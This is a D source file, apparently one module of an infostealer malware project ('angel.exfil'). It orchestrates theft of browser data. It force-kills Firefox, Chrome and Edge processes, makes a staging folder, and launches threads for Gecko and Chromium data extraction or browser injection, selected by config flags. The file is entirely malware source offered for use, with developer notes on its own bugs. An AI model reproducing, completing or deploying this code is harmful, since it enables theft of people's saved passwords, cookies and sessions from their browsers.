module angel.exfil.browser.browser; // Internal imports import angel.utils.logging; import angel.utils.utils; import angel.config : config; import angel.utils.constants; import angel.exfil.browser.inject; import angel.exfil.browser.chromium.chromium; import angel.exfil.browser.gecko.gecko; // External imports import std.path; import std.stdio; import std.file; import core.thread.osthread; // TODO fix process killing // BUG doesn't equally loop through set of procs, just operates on last one class Browser { this() { Logger.log(LogLevel.Event, "Initializing browser..."); string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"]; if (!config.debug_mode) { Utils.killproc(procs); } string browser_path = buildPath(Constants.workdir, "Browser"); if (!exists(browser_path)) { mkdir(browser_path); } Logger.log(LogLevel.Event, "Initialized browser."); } public void run() { Thread[] threads; if (config.exfil.browser.gecko) { auto t = new Thread(() => new Gecko().entry()); threads ~= t; Logger.log(LogLevel.Event, "Running thread gecko..."); t.start(); } else if (config.exfil.browser.chromium) { auto t = new Thread(() => new Chromium().entry()); threads ~= t; Logger.log(LogLevel.Event, "Running thread chromium..."); t.start(); } else if (config.exfil.browser.inject) { auto t = new Thread(() => new Inject().inject()); threads ~= t; Logger.log(LogLevel.Event, "Running thread browser inject..."); t.start(); } foreach (t; threads) { joinLowLevelThread(t.id); } } }